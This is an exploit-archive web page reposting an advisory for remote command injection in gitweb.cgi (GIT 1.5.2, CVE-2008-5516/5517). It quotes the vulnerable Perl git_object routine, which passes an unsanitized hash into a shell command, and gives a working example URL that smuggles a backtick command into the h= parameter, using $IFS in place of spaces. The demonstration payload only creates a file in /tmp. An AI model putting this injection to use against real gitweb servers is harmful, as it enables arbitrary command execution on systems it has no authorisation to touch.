首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
gitWeb v1.5.2 Remote Command Execution
来源:vf 作者:S2 Crew 发布时间:2010-02-22  

# Exploit Title: gitWeb remote command execution
# Date: 2009.06.19
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: GIT 1.5.2
# Tested on: debian linux, GIT 1.5.2
# CVE: CVE-2008-5516 - CVE-2008-5517

# Code:

# The cgi script doesn't show the command output *blind command execution ;)*
# Vulnerable functions in gitweb.cgi: git_snapshot(), git_search(), git_object()


sub git_object {
        # object is defined by:
        # - hash or hash_base alone
        # - hash_base and file_name
        my $type;

        # - hash or hash_base alone
        if ($hash || ($hash_base && !defined $file_name)) {
                my $object_id = $hash || $hash_base;

                my $git_command = git_cmd_str();
                open my $fd, "-|", "$git_command cat-file -t $object_id 2>/dev/null"
                        or die_error('404 Not Found', "Object does not exist");
                $type = <$fd>;
                chomp $type;
                close $fd
                        or die_error('404 Not Found', "Object does not exist");

        # - hash_base and file_name

# Example
http://server/cgi-bin/gitweb.cgi?p=sample.git/.git;a=object;f=program.c;h=e69de29bb2d1d6434b8b29ae775ad8c2e48c5391|`touch$IFS/tmp/file.txt`|;hb=9adaf5b35bb6415497d23f089660567227ea3785


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Rising Online Virus Scanner v2
·FileApp v1.7 for iPhone/iPod R
·iTunes 9.0.1 .pls file handlin
·Easy~Ftp Server v1.7.0.2 (HTTP
·OtsTurntables Free v1.00.047 (
·Coppermine Photo Gallery <= 1.
·Apple Iphone/Ipod - FTP On The
·Easy~Ftp Server v1.7.0.2 Post-
·Easy~Ftp Server v1.7.0.2 Post-
·Easy~Ftp Server v1.7.0.2 Post-
·Adobe Products XML External En
·Apple Iphone/Ipod - My DBLite
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved